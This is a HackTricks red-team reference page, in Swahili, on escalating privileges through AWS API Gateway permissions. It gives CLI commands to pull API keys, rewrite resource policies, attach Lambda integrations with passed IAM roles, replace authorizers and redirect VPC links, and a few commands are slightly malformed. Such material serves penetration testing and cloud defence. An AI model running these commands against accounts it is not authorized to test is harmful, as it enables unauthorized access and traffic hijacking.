AWS - Apigateway Privesc

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Apigateway

Kwa habari zaidi angalia:

pageAWS - API Gateway Enum

apigateway:POST

Kwa idhini hii, unaweza kuzalisha funguo za API za APIs zilizowekwa (kwa kila eneo).

aws --region <region> apigateway create-api-key

Athari Inayowezekana: Huwezi kufanya privesc kwa njia hii lakini unaweza kupata ufikiaji wa habari nyeti.

apigateway:GET

Kwa kibali hiki unaweza kupata funguo za API zilizotengenezwa za APIs zilizowekwa (kwa kila eneo).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Athari Inayowezekana: Huwezi kufanya privesc kwa njia hii lakini unaweza kupata ufikivu wa habari nyeti.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Kwa ruhusa hizi, inawezekana kurekebisha sera ya rasilimali ya API ili kujipatia ufikivu wa kuipiga simu na kutumia ufikivu wa API gateway unaweza kuwa nao (kama kuita lambda inayoweza kudhuriwa).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Athari Inayowezekana: Kwa kawaida, hutaweza kufanya privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikio wa habari nyeti.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Inahitaji majaribio

Mshambuliaji mwenye ruhusa za apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza ushirikishwaji mpya kwenye API ya Gateway ya REST iliyopo na kazi ya Lambda ambayo ina jukumu la IAM limeambatanishwa. Mshambuliaji kisha anaweza kuzindua kazi ya Lambda kutekeleza nambari ya kupindukia na labda kupata ufikio wa rasilimali zilizohusishwa na jukumu la IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la Lambda function.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Inahitaji majaribio

Mshambuliaji mwenye ruhusa za apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kurekebisha mwandishi wa API ya Gateway uliopo ili kudukua ukaguzi wa usalama au kutekeleza nambari ya kupita wakati maombi ya API yanafanywa.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Athari Inayowezekana: Kupitisha ukaguzi wa usalama, ufikiaji usioruhusiwa wa rasilimali za API.

Inahitaji majaribio

Mshambuliaji mwenye ruhusa ya apigateway:UpdateVpcLink anaweza kurekebisha Kiungo cha VPC kilichopo ili kuelekeza kwenye Balansa ya Mzigo wa Mtandao tofauti, hivyo kubadilisha trafiki ya API ya kibinafsi kuelekezwa kwenye rasilimali zisizoruhusiwa au zenye nia mbaya.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Matokeo Yanayowezekana: Upatikanaji usiohalali wa rasilimali za API za kibinafsi, udukuzi au kuvuruga trafiki ya API.

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated